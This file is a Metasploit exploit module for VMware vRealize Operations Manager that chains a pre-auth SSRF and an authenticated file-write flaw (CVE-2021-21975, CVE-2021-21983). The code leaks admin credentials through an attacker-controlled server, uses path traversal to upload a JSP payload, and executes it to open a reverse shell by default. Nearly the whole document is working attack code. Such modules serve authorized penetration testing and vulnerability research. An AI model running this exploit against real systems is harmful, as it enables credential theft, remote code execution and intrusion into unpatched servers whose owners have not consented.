##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vRealize Operations (vROps) Manager SSRF RCE',
        'Description' => %q{
          This module exploits a pre-auth SSRF (CVE-2021-21975) and post-auth
          file write (CVE-2021-21983) in VMware vRealize Operations Manager to
          leak admin creds and write/execute a JSP payload.

          CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and
          CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate
          endpoint. Code execution occurs as the "admin" Unix user.

          The following vRealize Operations Manager versions are vulnerable:

          * 7.0.0
          * 7.5.0
          * 8.0.0, 8.0.1
          * 8.1.0, 8.1.1
          * 8.2.0
          * 8.3.0

          Version 8.3.0 is not exploitable for creds and is therefore not
          supported by this module. Tested against 8.0.1.
        },
        'Author' => [
          'Egor Dimitrenko', # Discovery
          'wvu' # Analysis and exploit
        ],
        'References' => [
          ['CVE', '2021-21975'], # SSRF
          ['CVE', '2021-21983'], # File write
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0004.html'],
          ['URL', 'https://twitter.com/ptswarm/status/1376961747232382976'],
          ['URL', 'https://attackerkb.com/topics/51Vx3lNI7B/cve-2021-21975#rapid7-analysis']
        ],
        'DisclosureDate' => '2021-03-30', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_JAVA,
        'Privileged' => false,
        'Targets' => [
          ['vRealize Operations Manager < 8.3.0', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SRVPORT' => 8443,
          'SSL' => true,
          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS, # /usr/lib/vmware-casa/casa-webapp/logs
            ARTIFACTS_ON_DISK # /usr/lib/vmware-casa/casa-webapp/webapps/casa
          ]
        },
        'Stance' => Stance::Aggressive
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def setup
    super

    @creds = nil

    print_status('Starting SSRF server...')
    start_service
  end

  def check
    leak_admin_creds ? CheckCode::Vulnerable : CheckCode::Safe
  end

  def exploit
    return unless (@creds ||= leak_admin_creds)

    write_jsp_payload
    execute_jsp_payload
  end

  def leak_admin_creds
    # "Comment out" trailing path using URI fragment syntax, ostensibly
    ssrf_uri = "#{srvhost_addr}:#{srvport}#{get_resource}#"

    print_status('Leaking admin creds via SSRF...')
    vprint_status(ssrf_uri)

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/casa/nodes/thumbprints'),
      'ctype' => 'application/json',
      'data' => [ssrf_uri].to_json
    )

    unless res&.code == 200 && res.get_json_document.dig(0, 'address') == ssrf_uri
      print_error('Failed to send SSRF request')
      return
    end

    unless @creds
      print_error('Failed to leak admin creds')
      return
    end

    print_good('Successfully leaked admin creds')
    vprint_status("Authorization: #{@creds}")

    @creds
  end

  def on_request_uri(cli, request)
    print_status("#{cli.peerhost} connected to SSRF server!")
    vprint_line(request.to_s)

    @creds ||= request.headers['Authorization']
  ensure
    send_not_found(cli)
    close_client(cli)
  end

  def write_jsp_payload
    jsp_path = "/usr/lib/vmware-casa/casa-webapp/webapps/casa/#{jsp_filename}"

    print_status('Writing JSP payload')
    vprint_status(jsp_path)

    multipart_form = Rex::MIME::Message.new
    multipart_form.add_part(
      "../../../../..#{jsp_path}",
      nil, # Content-Type
      nil, # Content-Transfer-Encoding
      'form-data; name="name"'
    )
    multipart_form.add_part(
      payload.encoded,
      nil, # Content-Type
      nil, # Content-Transfer-Encoding
      %(form-data; name="file"; filename="#{jsp_filename}")
    )

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/casa/private/config/slice/ha/certificate'),
      'authorization' => @creds,
      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
      'data' => multipart_form.to_s
    )

    unless res&.code == 200
      fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
    end

    register_file_for_cleanup(jsp_path)

    print_good('Successfully wrote JSP payload')
  end

  def execute_jsp_payload
    jsp_uri = normalize_uri(target_uri.path, 'casa', jsp_filename)

    print_status('Executing JSP payload')
    vprint_status(full_uri(jsp_uri))

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => jsp_uri,
      'authorization' => @creds
    )

    unless res&.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
    end

    print_good('Successfully executed JSP payload')
  end

  def jsp_filename
    @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
  end

end